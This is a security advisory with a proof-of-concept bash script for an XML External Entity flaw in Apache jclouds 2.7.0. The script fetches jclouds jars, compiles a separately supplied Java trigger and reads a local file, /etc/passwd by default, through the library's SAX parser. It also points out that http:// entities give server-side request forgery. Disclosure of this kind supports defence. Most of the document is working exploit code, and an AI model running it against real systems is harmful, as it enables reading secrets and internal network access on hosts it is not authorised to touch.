Apache jclouds 2.7.0 XML External Entity (XXE) Injection

[zeroscience]

#!/usr/bin/env bash
#
#
# Apache jclouds 2.7.0 XML External Entity (XXE) Injection
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://jclouds.apache.org
# Affected version: 2.7.0
#
# Summary: Apache jclouds is an open source multi-cloud toolkit for the Java
# platform that gives you the freedom to create applications that are portable
# across clouds while giving you full control to use cloud-specific features.
# The jclouds API gives you the freedom to use portable abstractions or cloud
# specific features. jclouds tests support of 30 cloud providers and cloud
# software stacks including Amazon, Azure, GoGrid, OpenStack, Rackspace, and
# Google.
#
# Desc: Apache jclouds suffers from an XML External Entity (XXE) injection
# vulnerability in its provider-response parsing. The SAX parser factory built
# by SaxParserModule is created without disabling document type definitions
# or external entities, and it is used to parse every provider HTTP response,
# so when the parsed endpoint is attacker-influenced (a BYO or S3-compatible
# endpoint, a man-in-the-middle, or a malicious provider) the library can be
# made to read local files or perform server-side request forgery on the jclouds
# host.
#
# Tested on: Microsoft Windows 10 (x86_64)
#            OpenJDK Temurin 21.0.6
#            guice 5.1.0
#            guava 32.1.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6027
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6027
#
#
# 13.08.2026
#


# Usage: TARGET_FILE=/etc/passwd bash jclouds.sh
set -u
HERE="$(cd "$(dirname "$0")" && pwd)"
TARGET_FILE="${TARGET_FILE:-/etc/passwd}"
case "$(uname -s)" in MINGW*|MSYS*|CYGWIN*) SEP=";"; jp(){ cygpath -w "$1"; } ;; *) SEP=":"; jp(){ printf '%s' "$1"; } ;; esac
command -v javac >/dev/null || { echo "[!] need a JDK (javac)"; exit 1; }
W="$HERE/jclouds_xxe_build"; rm -rf "$W"; mkdir -p "$W/libs"

M="https://repo1.maven.org/maven2"
echo "[*] Fetching jclouds-core 2.7.0 + deps ..."
declare -a JARS=(
  "org/apache/jclouds/jclouds-core/2.7.0/jclouds-core-2.7.0.jar"
  "com/google/inject/guice/5.1.0/guice-5.1.0.jar"
  "com/google/guava/guava/32.1.3-jre/guava-32.1.3-jre.jar"
  "com/google/guava/failureaccess/1.0.2/failureaccess-1.0.2.jar"
  "javax/inject/javax.inject/1/javax.inject-1.jar"
  "aopalliance/aopalliance/1.0/aopalliance-1.0.jar"
)
for j in "${JARS[@]}"; do curl -fsSL "$M/$j" -o "$W/libs/$(basename "$j")" || { echo "[!] download failed: $j"; exit 1; }; done
CP=""; for x in "$W"/libs/*.jar; do CP="${CP:+$CP$SEP}$(jp "$x")"; done

echo "[*] compiling the trigger (reflection-only; no cp needed to compile) ..."
javac -d "$(jp "$W")" "$(jp "$HERE/JcloudsXxe.java")" || { echo "[!] build failed"; exit 1; }

if [ ! -f "$TARGET_FILE" ]; then
  TARGET_FILE="$W/secret.txt"; printf 'XXE-LEAKED jclouds secret: aws_key=AKIA_ZSL  db_pass=hunter2\n' > "$TARGET_FILE"
fi

echo "[*] Firing: real SaxParserModule factory parses a provider response with a file:// external entity"
echo "-----------------------------------------------------------------"
java -cp "$(jp "$W")${SEP}$CP" JcloudsXxe "$TARGET_FILE"
echo "-----------------------------------------------------------------"
echo "[*] The leaked bytes are the local file jclouds' SAX parser resolved via the external entity."
echo "    (http:// entities instead of file:// turn this into SSRF from the jclouds host.)"

ZSL-2026-6027: Apache jclouds 2.7.0 XML External Entity (XXE) Injection

ZSL-2026-6027: Apache jclouds 2.7.0 XML External Entity (XXE) Injection

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